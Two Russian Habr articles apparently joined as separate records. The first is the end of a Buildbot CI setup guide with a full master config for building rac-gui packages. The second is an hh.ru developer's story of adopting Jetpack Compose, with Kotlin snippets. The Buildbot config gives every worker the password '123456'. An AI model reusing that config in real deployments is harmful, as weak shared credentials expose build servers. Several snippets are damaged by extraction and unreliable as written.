2019-07-24 16:50:40+0300 [-] bot attached
2019-07-24 16:50:40+0300 [Broker,1,192.168.55.15] Worker Windows-10 attached to Rac-GUI-WIN-builder
2019-07-24 16:50:41+0300 [Broker,2,192.168.55.99] worker 'Debian-10' attaching from IPv4Address(type='TCP', host='192.168.5.9', port=44430)
2019-07-24 16:50:41+0300 [Broker,2,192.168.55.99] Got workerinfo from 'Debian-10'
2019-07-24 16:50:41+0300 [-] bot attached
2019-07-24 16:50:41+0300 [Broker,2,192.168.55.99] Worker Debian-10 attached to Rac-GUI-DEB-builder
```
На этом процесс настройки завершён. Посмотреть текущее состояние можно через вэб-мордe. Где также можно посмотреть ошибки сборки, пнуть зависший процесс если что-то пошло ни так и т.д.
Сразу после запуска наших работяг можно посмотреть через меню "Builds" -> "Workers"
После того, как будет произведен первый процесс сборки (т.е. изменения в Git-репозитарии), на первой страничке появится состояние процессов.
Если ткнуть мышой в нужную строку то откроется страничка с текущим состоянием данного процесса, где видно что происходит, какие ошибки и т.д.
**Целиком конфиг мастера можно взять тут**
```
import os, re
from buildbot.plugins import steps, util, schedulers, worker, changes, reporters
c= BuildmasterConfig ={}
c['workers'] = [ worker.Worker('CentOS', '123456'), worker.Worker('Debian-10', '123456'), worker.Worker('Windows-10', '123456')]
c['protocols'] = {'pb': {'port': 4000}}
c['change_source'] = []
c['change_source'].append(changes.GitPoller(
repourl = 'https://bitbucket.org/svk28/rac-gui.git',
project = 'Rac-GUI',
branches = True,
pollInterval = 600
))
# служба запуска сборки
c['schedulers'] = []
c['schedulers'].append(schedulers.SingleBranchScheduler(
name="Rac-GUI-schedulers",
change_filter=util.ChangeFilter(branch='master'),
builderNames=["Rac-GUI-RPM-builder", "Rac-GUI-DEB-builder", "Rac-GUI-WIN-builder"],
properties = {'owner': 'admin'}
))
@util.renderer
def get_name_version_release(props):
prog_name = "rac-gui"
prog_version = "1.0.3"
prog_release = "3"
return {
"prog_name": prog_name
#"prog_version": prog_version,
#"prog_release": prog_release
}
rac_gui_build_RPM = util.BuildFactory()
rac_gui_build_RPM.addStep(steps.Git(
repourl = 'https://bitbucket.org/svk28/rac-gui.git',
workdir = 'rac-gui',
haltOnFailure = True,
submodules = True,
mode='full',
progress = True)
)
# Добавим определение версии из основного файла
rac_gui_build_RPM.addStep(
steps.SetPropertyFromCommand(
command="grep version ../rac-gui/rac_gui.tcl | grep -oE '\\b[0-9]{1,2}\\.[0-9]{1,2}\\.[0-9]{1,2}\\b'", property="version"
)
)
# Добавим определение релиза из основного файла
rac_gui_build_RPM.addStep(
steps.SetPropertyFromCommand(
command="grep release ../rac-gui/rac_gui.tcl | grep -oE '\\b[0-9]{1,3}\\b'", property="release"
)
)
rac_gui_build_RPM.addStep(steps.ShellCommand(
command=["tar", "czf", util.Interpolate("/home/buildbot/rpmbuild/SOURCES/rac-gui-%(prop:version)s-%(prop:release)s.tar.gz"), "../rac-gui"]))
rac_gui_build_RPM.addStep(steps.ShellCommand(
command=["cp", "../rac-gui/rac_gui.spec", "/home/buildbot/rpmbuild/SPECS/rac_gui.spec"]))
rac_gui_build_RPM.addStep(steps.ShellCommand(
command=["sed", "-i", util.Interpolate("s/.*Version:.*/Version:\t%(prop:version)s/"), "/home/buildbot/rpmbuild/SPECS/rac_gui.spec"]))
rac_gui_build_RPM.addStep(steps.ShellCommand(
command=["sed", "-i", util.Interpolate("s/.*Release:.*/Release:\t%(prop:release)s/"), "/home/buildbot/rpmbuild/SPECS/rac_gui.spec"]))
rac_gui_build_RPM.addStep(steps.RpmBuild(
specfile="/home/buildbot/rpmbuild/SPECS/rac_gui.spec",
dist='.el5',
topdir='/home/buildbot/rpmbuild',
builddir='/home/buildbot/rpmbuild/build',
rpmdir='/home/buildbot/rpmbuild/RPMS',
sourcedir='/home/buildbot/rpmbuild/SOURCES'
))
# Скопируем файл на мастер
rac_gui_build_RPM.addStep(
steps.FileUpload(
workersrc=util.Interpolate("/home/buildbot/rpmbuild/RPMS/noarch/rac-gui-%(prop:version)s-%(prop:release)s.noarch.rpm"),
masterdest=util.Interpolate("/home/buildbot/builds/rac-gui-%(prop:version)s-%(prop:release)s.noarch.rpm")
)
)
rac_gui_build_RPM.addStep(
steps.FileUpload(
workersrc=util.Interpolate("/home/buildbot/rpmbuild/SOURCES/rac-gui-%(prop:version)s-%(prop:release)s.tar.gz"),
masterdest=util.Interpolate("/home/buildbot/builds/rac-gui-%(prop:version)s-%(prop:release)s.tar.gz")
)
)
rac_gui_build_RPM.addStep(
steps.MasterShellCommand(
command=["/usr/local/bin/deploy-ftp.tcl",
util.Interpolate("--local-file=/home/buildbot/builds/rac-gui-%(prop:version)s-%(prop:release)s.noarch.rpm"),
util.Interpolate("--remote-file=uploads/rac-gui/rac-gui-%(prop:version)s-%(prop:release)s.noarch.rpm")]
)
)
rac_gui_build_RPM.addStep(
steps.MasterShellCommand(
command=["/usr/local/bin/deploy-ftp.tcl",
util.Interpolate("--local-file=/home/buildbot/builds/rac-gui-%(prop:version)s-%(prop:release)s.tar.gz"),
util.Interpolate("--remote-file=uploads/rac-gui/rac-gui-%(prop:version)s-%(prop:release)s.tar.gz")]
)
)
####################################
## DEB
####################################
rac_gui_build_DEB = util.BuildFactory()
rac_gui_build_DEB.addStep(steps.Git(
repourl = 'https://bitbucket.org/svk28/rac-gui.git',
haltOnFailure = True,
submodules = True,
mode='full',
workdir='build',
progress = True)
)
# Добавим определение версии из основного файла
rac_gui_build_DEB.addStep(
steps.SetPropertyFromCommand(
command="grep version rac_gui.tcl | grep -oE '\\b[0-9]{1,2}\\.[0-9]{1,2}\\.[0-9]{1,2}\\b'", property="version"
)
)
# Добавим определение релиза из основного файла
rac_gui_build_DEB.addStep(
steps.SetPropertyFromCommand(
command="grep release rac_gui.tcl | grep -oE '\\b[0-9]{1,3}\\b'", property="release"
)
)
# Переименуем запускаемый файл
rac_gui_build_DEB.addStep(steps.ShellCommand(
command=["mv", "rac_gui.tcl", "racgui"]))
# Поменяем пути к библиотекам
rac_gui_build_DEB.addStep(steps.ShellCommand(
command=["sed", "-i", "s+^set\ dir(lib)+set\ dir(lib)\ /usr/share/rac-gui/lib ;#+g", "racgui"]))
# Поменяем пути к файлам
rac_gui_build_DEB.addStep(steps.ShellCommand(
command=["sed", "-i", "s+\[pwd\]+/usr/share/rac-gui+g", "racgui"]))
# заархивируем исходники
rac_gui_build_DEB.addStep(steps.ShellCommand(
command=["tar", "czf", util.Interpolate("../rac-gui_%(prop:version)s.orig.tar.gz"), "."]))
# Соберём пакет
rac_gui_build_DEB.addStep(steps.ShellCommand(
command=["dpkg-buildpackage"]))
# Скопируем файл на мастер
rac_gui_build_DEB.addStep(
steps.FileUpload(
workersrc=util.Interpolate("../rac-gui_%(prop:version)s-%(prop:release)s_amd64.deb"),
masterdest=util.Interpolate("/home/buildbot/builds/rac-gui_%(prop:version)s-%(prop:release)s_amd64.deb")
)
)
rac_gui_build_DEB.addStep(
steps.MasterShellCommand(
command=["/usr/local/bin/deploy-ftp.tcl",
util.Interpolate("--local-file=/home/buildbot/builds/rac-gui_%(prop:version)s-%(prop:release)s_amd64.deb"),
util.Interpolate("--remote-file=uploads/rac-gui/rac-gui_%(prop:version)s-%(prop:release)s_amd64.deb")]
)
)
############################################
# WIN
############################################
rac_gui_build_WIN = util.BuildFactory()
rac_gui_build_WIN.addStep(steps.Git(
repourl = 'https://bitbucket.org/svk28/rac-gui.git',
haltOnFailure = True,
submodules = True,
mode='full',
workdir='build',
progress = True)
)
# Добавим определение версии из основного файла
rac_gui_build_WIN.addStep(
steps.SetPropertyFromCommand(
command="powershell -command \"((Get-Content .\\rac_gui.tcl | Select-String -Pattern 'version:') -split '\\s')[2]",
property="version"
)
)
# Добавим определение релиза из основного файла
rac_gui_build_WIN.addStep(
steps.SetPropertyFromCommand(
command="powershell -command \"((Get-Content .\\rac_gui.tcl | Select-String -Pattern 'release:') -split '\\s')[2]",
property="release"
)
)
# Создадим запускаемый файл
rac_gui_build_WIN.addStep(steps.ShellCommand(
command=["c:\\bin\\freewrap.exe", "rac_gui.tcl"]))
# запакуем то, что получилось
rac_gui_build_WIN.addStep(steps.ShellCommand(
command=["c:\\Program Files\\7-zip\\7z.exe", "a", "-r", util.Interpolate("..\\rac-gui_%(prop:version)s-%(prop:release)s.win.zip"), "..\\build"]))
# скопируем на мастер
rac_gui_build_WIN.addStep(
steps.FileUpload(
workersrc=util.Interpolate("..\\rac-gui_%(prop:version)s-%(prop:release)s.win.zip"),
masterdest=util.Interpolate("/home/buildbot/builds/rac-gui_%(prop:version)s-%(prop:release)s.win.zip")
)
)
# Скопируем файл на хостинг
rac_gui_build_WIN.addStep(
steps.MasterShellCommand(
command=["/usr/local/bin/deploy-ftp.tcl",
util.Interpolate("--local-file=/home/buildbot/builds/rac-gui_%(prop:version)s-%(prop:release)s.win.zip"),
util.Interpolate("--remote-file=uploads/rac-gui/rac-gui_%(prop:version)s-%(prop:release)s.win.zip")]
)
)
c['builders'] = [
util.BuilderConfig(name="Rac-GUI-RPM-builder", workername='CentOS', factory=rac_gui_build_RPM),
util.BuilderConfig(name="Rac-GUI-DEB-builder", workername='Debian-10', factory=rac_gui_build_DEB),
util.BuilderConfig(name="Rac-GUI-WIN-builder", workername='Windows-10', factory=rac_gui_build_WIN),
]
c['services'] = []
template=u'''\
#### Build status: {{ summary }}
Worker used: {{ workername }}
{% for step in build['steps'] %}
{{ step['name'] }}: {{ step['result'] }}
{% endfor %}
**-- The Buildbot**
'''
mailNotifier = reporters.MailNotifier(fromaddr="112@icvibor.ru",
sendToInterestedUsers=False,
mode=('all'),
extraRecipients=["my@domain.local"],
relayhost="mail.domain.local",
smtpPort=587,
smtpUser="buildbot@domain.local",
smtpPassword="**********",
messageFormatter=reporters.MessageFormatter(
template=template, template_type='html',
wantProperties=True, wantSteps=True))
c['services'].append(mailNotifier)
c['title'] = "The process of bulding"
c['titleURL'] = "http://vm-srv-build1:80/"
c['buildbotURL'] = "http://vm-srv-build1/"
c['www'] = dict(port=80,
plugins=dict(waterfall_view={}, console_view={}, grid_view={}))
c['db'] = {
'db_url' : "sqlite:///state.sqlite"
}
```
### Материалы
При подготовке статьи использовались следующие материалы:
* [Пример реализации Continuous Integration с помощью BuildBot](https://habr.com/ru/post/460501/)
* [Buildbot: сказ с примерами еще об одной системе непрерывной интеграции](https://habr.com/ru/post/439096/)
* [Настройка непрерывной интеграции в Buildbot в Ubuntu 16.04](https://www.8host.com/blog/nastrojka-nepreryvnoj-integracii-v-buildbot-v-ubuntu-16-04)
* Ну и документация по продукту [Buildbot Tutorial](http://docs.buildbot.net/current/tutorial/index.html) | https://habr.com/ru/post/464489/ | null | ru | null |
# Адаптация Jetpack Compose в hh.ru
Представьте: теплый осенний вечер, на столе чашечка чего-нибудь вкусного, за окном порхают пожелтевшие листья и тонко насвистывает ветер. Но на душе скребутся коварные мыши. И вам точно известно, откуда эти мыши растут: еще летом вышел стабильный Jetpack Compose, а вы таки не затащили его в ваши продакшн-приложения.
И тут в вашу светлую голову забредает шальная мысль: “Почему бы не начать творить что-нибудь эдакое, великое и прекрасное, чтобы все ахнули в восхищении и увидели, какой вы замечательный сотрудник?” Обычно после таких потрясающих идей есть варианта развития событий: либо в проекте действительно появляется нечто прекрасное, либо всё становится просто ужасным. А вот как получилось у нас, я вам сегодня и расскажу.
Всем привет! Меня зовут Паша Стрельченко, я Android-разработчик в [hh.ru](http://hh.ru). В этой статье поведаю историю о том, как начиналась адаптация Jetpack Compose в нашем продакшн-приложении.
### С чего начинается адаптация
Мы поставили перед собой довольно амбициозную задачу: реализовать все компоненты дизайн-системы на [Compose](https://developer.android.com/jetpack/compose). Причем не просто абстрактно реализовать, а именно внутри проекта [hh.ru](http://hh.ru). И разница здесь существенная.
А заключается она в следующем: игрушечные playground-ы — это конечно хорошо, они помогают изучить новую технологию, фреймворк, попробовать различные вариации и так далее, но они не имеют никакого отношения к вашему настоящему проекту, внутри которого уже существует большой багаж других технических решений, подключенных библиотек и многого другого.
Поэтому, когда вы только-только затаскиваете тот же Jetpack Compose в ваш проект, могут возникнуть сложности как с гредлом (Gradle). Например, у вас может быть:
* Маленькая или не совсем та версия, которая поддерживается Jetpack Compose.
* Не та версия Android SDK. Например, для Jetpack Compose 1.1 требуется minCompileSdk 31, а поднять такую версию соответственно это определённый объем работы.
* Не та версия Kotlin. И поднятие версии Kotlin — не настолько быстрый процесс, как хотелось бы.
Плюс ко всему еще и с самим Jetpack Compose могут возникнуть сложности. Поэтому первая задача, которую нужно действительно решать — это просто запустить ваш проект с подключенным Jetpack Compose.
А приведи пример проблемыЭкспериментируя с реализацией различных View, я решил опробовать работу с [accessibility в Compose](https://developer.android.com/jetpack/compose/accessibility). Написал код, запустил [Talkback](https://support.google.com/accessibility/android/answer/6283677?hl=ru) (специальная утилита для accessibility, для незрячих людей, которые щелкают на определенный элемент экрана, и этот talkback говорит им на что нажали) и... приложение начало крашится при старте. Я долго не мог понять в чём дело, потому что выбрасываемое исключение было не очень понятным.
А дело было в том, что некоторые версии AndroidX библиотек были ниже рекомендуемых для взаимодействия с Jetpack Compose. Но для того чтобы это понять, пришлось потратить довольно много времени. В общем, подключите Jetpack Compose к вашему приложению и проверьте, все ли версии библиотек у вас правильные, хватает ли вам версии Gradle, все ли хорошо с версией Kotlin-а и так далее.
У нас не было особых проблем, потому что мы своевременно обновляем версии Gradle, Kotlin и Android. Поэтому нам достаточно было написать маленький convention-плагин, который умеет подключать Jetpack Compose в конкретный модуль, а не на весь проект сразу. Так и поступили, и у нас всё завелось.
Небольшой convention-плагин для подключения Compose-а к модулю
```
import com.android.build.gradle.BaseExtension
configure {
@Suppress("UnstableApiUsage")
with(buildFeatures) {
compose = true
}
@Suppress("UnstableApiUsage")
composeOptions {
kotlinCompilerExtensionVersion = "1.1.1
}
}
dependencies {
add("implementation", "androidx.compose.runtime:runtime:1.1.1")
}
```
### Дизайн-система в hh.ru
Если коротко и просто, то дизайн-систему создают дизайнеры, чтобы переиспользовать некоторые кусочки макетов. Сюда могут входить как отдельные атомы, например: цвета, шрифты, отступы, тени, так и готовые компоненты с кучей разных вариаций вроде баннеров, которые могут быть самых разных цветов. Туде же можно отнести всякие кнопочки с огромным количество вариаций и многое другое.
Компоненты дизайн-системыНаши дизайнеры уже давно оформили нам необходимые атомы дизайн-системы, есть странички в Figma с цветами, типографикой, иконками, базовыми отступами.
Атомы дизайн-системыНе забыли они и про страницы с отдельными компонентами, например, баннерами:
У баннеров есть 4 разных варианта цветовых схем и по 7 вариантов расположения компонентовИли, например, кнопки:
Различных вариантов кнопок гораздо больше: 7 вариантов контейнера (Title / Title Subtitle / etc) умножаем на 12 цветовых схем, получаем 84 варианта >\_\_<Почти каждый компонент дизайн-системы имеет несколько разных вариантов.
Дизайн-система в [hh.ru](http://hh.ru) — довольно увесистая конструкция с разными компонентами. Она действительно обширная, и мы потратили массу времени, когда реализовывали её на обычных xml-вьюшках. Сегодня у нас есть один большой и жирный модуль, внутри которого обитают: большое количество xml-ресурсов, тьма Kotlin-овских файлов, которые обеспечивают работу с этими ресурсами и так далее, и тому подобное.
Модуль дизайн-системы на XMLМы потратили немало времени на реализацию дизайн-системы на XMLЯ помню этот модуль совсем крохой, но за пару лет он превратился в довольно крупную особь с десятками компонентов.
Мы старались сделать всё то же самое на Jetpack Compose. Один доблестный разработчик запилил отдельный модуль design system compose, начал набрасывать в него атомы и некоторые готовые компоненты, но довольно скоро понял, что в одиночку затащить такой объем работ — слишком объемная и практически нереализуемая задача. Вернее, задача-то реализуемая, но прежде чем все эти компоненты будут реализованы, Jetpack Compose уже несколько раз обновится, выпустит сто пятьдесят стабильных версий, и к этому моменту придется всё переписывать.
Было и вправду грустноЭто был результат нескольких недель "внеклассных" занятийКакие-то компоненты получалось сделать довольно легко, а над некоторыми приходилось повозиться: например, наши кнопки не совсем вписывались в стандартный компоузовский Button (хотя бы из-за наших стилей текста, которые тоже не матчатся на [MaterialTheme](https://developer.android.com/reference/kotlin/androidx/compose/material/package-summary#MaterialTheme(androidx.compose.material.Colors,androidx.compose.material.Typography,androidx.compose.material.Shapes,kotlin.Function0)), и кастомных минимальных размеров), и пришлось реализовывать их с нуля на Surface-е. Banner-ы тоже отняли время, потому что из-за специфичных отступов у разных элементов я всё никак не мог решить, стоит ли делать его на Constraint-е (он в Compose-е выглядит слегка неудобно), или же попробовать сделать на обычных Column-ах и Row.
### Смена фокуса
В общем, доблестный, но удрученный таким раскладом разработчик пошел к тимлиду за советом. И тот подсказал неплохое решение: чтобы не потерять все созданные наработки и донести ценность до конечного продукта, можно попробовать перевести на Jetpack Compose простенький экранчик. Так мы получим первое представление о создании экранов на Jetpack Compose и поймем, как будет работать связка обычных фрагментов и компоузовского кода.
Это важно, потому что мы стопудово не сможем:
* Сразу отказаться от всего фреймворка фрагментов.
* Сразу перейти на навигацию на компоузовских функциях.
Поэтому мы будем по-прежнему использовать обычные фрагменты, внутри которых будет компоузовский контент. А в конце сделаем еще и демо для команды, чтобы она составила своё мнение на этот счет и дала фидбэк.
### Первая жертва для Jetpack Compose
В качестве первой жертвы мы выбрали экран о приложении. Во-первых, он очень простой — без всякой там бизнес-логики и прочего. Состоит просто из захардкоженной модельки, которая отправляется на рендер во фрагмент.
Как выглядит экран "О приложении"?Как видите, ничего сверхъестественного.
Во-вторых, несмотря на простоту, экран всё еще использует часть дизайн-системы: цвета, шрифты, кастомные вьюшки, ячейки для RecyclerView, и так далее. Короче говоря, для этого экрана в любом случае придется что-нибудь реализовать.
И в-третьих, это не самый популярный экран в нашем приложении, на него редко приходят. В приложении с многомиллионной аудиторией это важно, поскольку, если на что-то навернется на одном из главных экранов, и начнутся краши, то их количество очень быстро перевалит за сотни тысяч. А это, как вы понимаете, очень плохо.
С жертвой определились, пора переводить. Перевели, визуально сравнили две получившиеся картиночки — как будто разницы нет, поэтому можно продолжать рассматривать общий процесс.
Найди пять отличийСравниваем XML (слева) и Compose (справа)Отличия точно есть, и даже больше пяти =)
### Схема работы экрана "О приложении"
Но что конкретно мы делали? Для начала кратко расскажу про схему работы этого экрана. Как я уже писал выше, она максимально проста: у нас был фрагмент, который в специальном коллбэке onCreateViev настраивал некоторые вьюшки и адаптер для RecyclerView, также была ViewModel, генерирующая специальный UiState и отправляющая ее во фрагмент. А фрагмент, в свою очередь, брал этот State и отправлял его в RecyclerView на рендер.
Небольшая схема для наглядностиТипичный экран на RecyclerView.
Итак, что мы сделали. Во-первых, мы почти не трогали существующую ViewModel. Внутри нее, до перевода на Compose, был специальный UiConverter, который принимал на вход захардкоженную модель и отдавал список элементов для RecyclerView.
Примерный код XML-ой ViewModel
```
internal class AboutViewModel @Inject constructor(
private val deps: AboutDeps,
private val uiConverter: AboutUiConverter,
) : ManualStateViewModel() {
...
override fun onFirstAttach() {
super.onFirstAttach()
setState(
state = uiConverter.toUiState(
deps.getAboutScreenModel(), listeners
)
)
}
}
```
ManualStateViewModel — это класс из нашего фреймворка, который отличается от обычной ViewModel наличием rx-ового BehaviorSubject-а под капотом для подписки на UiState.
После того, как мы перевели этот экран на Compose, нам этот UI на контейнере стал не нужен, и мы начали отправлять захардкоженную модель прямо на экран — на последующий рендер.
А вот так сделали для Compose-варианта
```
internal class AboutComposeViewModel @Inject constructor(
private val deps: AboutDeps,
) : ManualStateViewModel() {
override fun onFirstAttach() {
super.onFirstAttach()
setState(deps.getAboutScreenModel())
}
...
}
```
UiConverter для этого экрана стал бесполезен, но это не значит, что он будет не нужен на всех остальных экранах: иногда требуется отобразить на множестве разных экранов один и тот же кусочек UI, тогда конвертеры могут смапить domain-сущность в одну и ту же ui-модель.
Во-вторых, мы немножечко почистили фрагмент. Раньше у нас в нем были настройки вьюшек, RecyclerView-адаптера и специальный метод, который назывался RenderState. Он принимал на вход UiState и отправлял ячейки в RecyclerView.
Как было раньше
```
internal class AboutFragment : BaseFragment(R.layout.fragment_about) {
...
private val viewModel: AboutViewModel by viewModelPlugin(
renderState = this::renderState,
viewModelProvider = { di.getInstance() }
)
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
view.findViewById(DesignSystemR.id.toolbar)?.apply {
setTitle(R.string.about\_screen\_title)
setNavigationIcon(DesignSystemR.drawable.ic\_arrow\_back)
setNavigationOnClickListener { activity?.onBackPressed() }
}
setupRecyclerView()
}
private fun setupRecyclerView() {
with(binding.fragmentAboutRecyclerContent) {
isNestedScrollingEnabled = false
adapter = delegateAdapter
layoutManager = LinearLayoutManager(context)
}
}
// Метод для отрисовки UiState-а
private fun renderState(state: AboutUiState) {
delegateAdapter.submitList(state.items)
}
}
```
После перевода на Compose в методе onCreateView у нас осталось только создание компоузовской вьюшки, а метод *renderState* немного преобразился. Внутри него мы вызываем метод [setContent](https://developer.android.com/jetpack/compose/interop/interop-apis#compose-in-views), чтобы связать мир XML с миром Jetpack Compose. И вот туда мы отправляли ту захардкоженную модельку, которую нам нужно. Таким образом наш фрагмент немного похудел, из него исчезла настройка вьюшек.
Как сделано сейчас
```
override fun onCreateView(inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle?): View {
return ComposeView(requireContext()).also(ComposeView::addSystemTopMargin)
}
private fun renderState(model: AboutScreenModel) {
(view as? ComposeView)?.setContent {
HHTheme {
AboutScreen(
aboutScreenModel = model,
clicks = AboutComposeClicks(
onBackIconClicked = { activity?.onBackPressed() },
onOfficialPageLinkClicked = { viewModel.onLinkClicked(it) },
onSocialNetworkLinkClicked = { viewModel.onSocialNetworkLinkClicked(it) },
onRateAppClicked = { viewModel.onRateAppClicked() },
),
modifier = Modifier.fillMaxSize()
)
}
} ?: error("Root view is not ComposeView, or null | $view")
}
```
На состояние 27.07.2022 этот код уже сильно изменился, мы накрутили дополнительных абстракций для упрощения настройки, но это уже другая история.
Последнее, что мы сделали — верстку секций экрана на Compose. До перехода у нас был простой экран с Toolbar и RecyclerView. Всё это было обернуто в LinearLayout.
Действительно хотите на это посмотреть?..
```
xml version="1.0" encoding="utf-8"?
```
Я же говорил! Простой экран.
После перехода на Compose кода стало в разы больше, и кажется, что стало сложнее. Однако, если присмотреться, каждая из описанных секций экрана максимально проста. В ней очень легко разобраться, для этого совсем не нужно рыскать по кодовой базе, искать детали адаптер-делегатов и вникать, как именно были отрисованы ячейки. Всё прозрачно и прописано в одном файле. Поэтому стало ощутимо проще.
Кода стало больше, но он стал проще
```
@Composable
internal fun AboutScreen(
viewModel: AboutComposeViewModel,
modifier: Modifier = Modifier,
onBackIconClicked: () -> Unit,
) {
val state = viewModel.subscribeUiState(initial = AboutScreenModel()).value
Scaffold(
topBar = { AboutScreenToolbar(onBackIconClicked) },
backgroundColor = HHColors.white,
modifier = modifier,
) {
Column(
modifier = Modifier
.verticalScroll(rememberScrollState()),
) {
AboutScreenHeader(
headerModel = state.headerModel,
modifier = Modifier
.padding(start = 16.dp, end = 16.dp, top = 28.dp, bottom = 24.dp)
.align(Alignment.CenterHorizontally)
.testTag(AboutScreenTestTags.header),
)
LinksSection(
viewModel = viewModel,
links = state.links,
)
if (state.socialNetworkLinks.isNotEmpty()) {
Spacer(modifier = Modifier.size(HHDimens.spacer.xs))
SectionHeaderSmall(header = stringResource(id = R.string.about_screen_official_pages))
LinksSection(
viewModel = viewModel,
links = state.socialNetworkLinks,
)
Spacer(modifier = Modifier.size(HHDimens.spacer.m))
}
}
}
}
```
Каждая секция экрана выглядит довольно простой, и так как кода не слишком много, мы оставили их в одном файле. Вот, например, верхняя часть экрана — большая иконка с логотипом, название приложения и описание версии:
```
@Composable
private fun AboutScreenHeader(
headerModel: AboutScreenHeaderModel,
modifier: Modifier = Modifier,
) {
Column(
modifier = modifier,
horizontalAlignment = Alignment.CenterHorizontally,
) {
headerModel.headerAppIcon?.let { iconRes ->
Image(
painter = painterResource(id = iconRes),
contentDescription = null,
modifier = Modifier
.size(76.dp),
)
}
SpacerS()
Text(
text = headerModel.appName,
style = HHTextStyles.Title1,
color = HHColors.black,
)
SpacerXXS()
Text(
text = stringResource(
id = R.string.about_screen_app_version,
headerModel.appVersion
),
style = HHTextStyles.Caption2,
color = HHColors.gray,
)
}
}
```
Код выглядит громоздким из-за большого количества переносов строк, но в самих кусочках нет ничего сложного.
### Выводы после перевода первого экрана
После перевода этого простого экрана на Compose мы сделали следующие выводы:
**Во-первых,** с Compose проще выделять переиспользуемые View. Вспомните, как это было на XML. Там, когда только начинаешь задумываться о выделении какой-нибудь кастомной вьюшки, тебе уже не хочется заморачиваться, ведь для этого нужно создать XML-ный файл под верстку этого файла, сделать Kotlin-класс, который будет inflate-ить или настраивать эту самую вьюшку. А если нужны атрибуты, ты еще и создаешь под них специальный XML-файл, как-то их парсишь, связываешь и так далее. В общем, очень устаешь уже даже просто думать про это всё.
А Compose поощряет переиспользование различных функций. Можно сделать вьюшку, написать несколько вариантов функции с разными параметрами (хвала полиморфизму!), описать простенький маппинг и всё. Теперь можете использовать готовую вьюшку в нескольких частях вашей кодовой базы.
**Во-вторых,** стало проще делать множество превью. В XML у нас был специальный namespace, который назывался [tools](https://developer.android.com/studio/write/tool-attributes). Благодаря ему можно было менять внешний вид вашей View при работе с Layout-дизайнером: цвет background-а, шрифты, цвет текста и многое другое. Однако, чтобы показать несколько превью одной и той же вьюшки с какими-то разными параметрами приходилось заморачиваться. Либо создавать кастомную View, внутри которой делать парсинг разных атрибутов, либо делать копипаст в отдельный временный XML-ный файл: вставлять код, менять атрибуты и смотреть, как выглядит.
В Compose есть [специальная аннотация @Preview](https://developer.android.com/jetpack/compose/tooling), благодаря которой вы можете либо взять отдельный кусочек этой вьюшки и отправить ее на устройство, либо сделать несколько функций, отмеченных аннотаций превью и посмотреть, как они смотрятся в Layout-дизайнере вместе. Это довольно удобно, когда вы разрабатываете новый компонент.
Но есть нюансДо недавнего времени аннотация @Preview работала [только в application-модулях](https://issuetracker.google.com/issues/224572530), но к счастью это исправили. Однако в документации до сих пор не написано, что для корректной работы этой фичи [нужно добавлять](https://issuetracker.google.com/issues/224527709) несколько дополнительных зависимостей в build.gradle.
**В-третьих,** стало гораздо проще композировать готовые виджеты. Для наглядности приведу хороший пример с нашими ячейками для RecyclerView.
### Немного про AdapterDelegate
Многие уже работали с обычными RecyclerView и делали так называемые [Adapter Delegate](http://hannesdorfmann.com/android/adapter-delegates/)-ы. Это специальные кусочки будущего адаптера RecyclerView, которые умеют отображать определенный ViewType, чтобы вы могли комбинировать различные ViewType’s в одном списке.
Каждый AdapterDelegate нацелен на определенную модельку элемента списка и умеет инфлейтить и биндить именно ее.
Код из нашего фреймворка делегатовВероятно, у вас было нечто похожее. Пусть и не идентичное, но идея остается той же.
```
class AddressAdapterDelegate(
private val action: (AddressDisplayableItem) -> Unit
) : BaseAdapterDelegate() {
override fun onCreateViewHolder(layoutInflater: LayoutInflater, parent: ViewGroup): RecyclerView.ViewHolder {
return fromLayoutId(R.layout.item\_address\_suggest, layoutInflater, parent)
}
override fun isForViewType(item: DisplayableItem, items: List, position: Int): Boolean {
return item is AddressDisplayableItem
}
override fun onBindViewHolder(item: AddressDisplayableItem, viewHolder: BaseViewHolder) {
with(viewHolder.getViewBinding(ItemAddressSuggestBinding::bind)) {
itemAddressSuggestPrimary.text = item.firstAddress
itemAddressSuggestSecondary.text = item.secondAddress
root.setOnClickListener { action.invoke(item) }
}
}
}
```
Для каждого ViewType вы создавали отдельный AdapterDelegate, потом привязывали их к единому Delegate менеджеру, который в итоге превращался в RecyclerView-адаптер. Затем вы привязывали его к RecyclerView и ваш список мог отображать несколько типов.
```
private fun initDelegationAdapter(): DelegationAdapter {
return DelegationAdapter().withDelegates(
ArticleDelegate { articleCode -> viewModel.onItemClicked(articleCode) },
LoadingAdapterDelegate(),
ErrorAdapterDelegate(
defaultText = getString(ApplicantCoreUiBaseR.string.default\_list\_paginator\_next\_page\_error),
refreshButtonText = getString(ApplicantCoreUiBaseR.string.action\_update),
click = { viewModel.onLoadNextPageAction() }
)
)
}
```
Но тут наш дизайнер придумал ячейки – Cell-ы. Их идея заключалась в том, что каждая ячейка списка теперь состоит из левой и правой частей. Есть некоторое количество вариантов левой части и некоторое количество вариантов правой. Дизайнеры их очень весело комбинируют и получают огромное количество вариантов для элементов RecyclerView.
Огромное — это сколько?Дизайнеры нарисовали 14 вариантов левой части и 7 вариантов правой, всего-то 98 разных ячеек.
Мы посмотрели, какое API для работы с ячейками получилось у наших коллег из iOS, и оно нам очень понравилось. Если присмотреться, то они просто объявляли некоторые алиасы к определенным контейнерам, которые умели принимать и левую, и правую часть, а затем проинвентаризовали их двумя дженериками — дженерик левой части и дженерик правой.
Парочка примеров описанных ячеек
```
public typealias IconTitleChevronItem = LeftRightItem
public typealias CheckboxSubtitleDetailItem = LeftRightItem
public typealias ExpandTagsItem = LeftRightItem
```
Очень классная фича Swift — можно описать generic-тип и потом просто создавать объект указанного типа:
```
public final class ContainerCell: UICollectionViewCell {
...
private let itemContentView: ContentView
public override init(frame: CGRect = .zero) {
// ну вот просто взяли и создали что-то из generic-а, как так-то?
itemContentView = ContentView(frame: frame).configureForAutoLayout()
super.init(frame: frame)
backgroundColor = .clear
clipsToBounds = false
setupItemContentView()
setupLongPresspGestureRecognizer()
}
}
```
Благодаря этому, просто описав typealias можно создать все нужные объекты под капотом ячейки.
Мы решили сделать точно так же, и… Прошли через все пресловутые стадии – отрицание, гнев, торг и далее по списку.
Из состояния “да всё мы сейчас сделаем в два счета” мы перешли к подозрениям, что задача сложнее, чем нам казалось. А затем и вовсе очень сильно расстроились, потому что у нас не получилось сделать ровно то же самое, что у ребят в iOS.
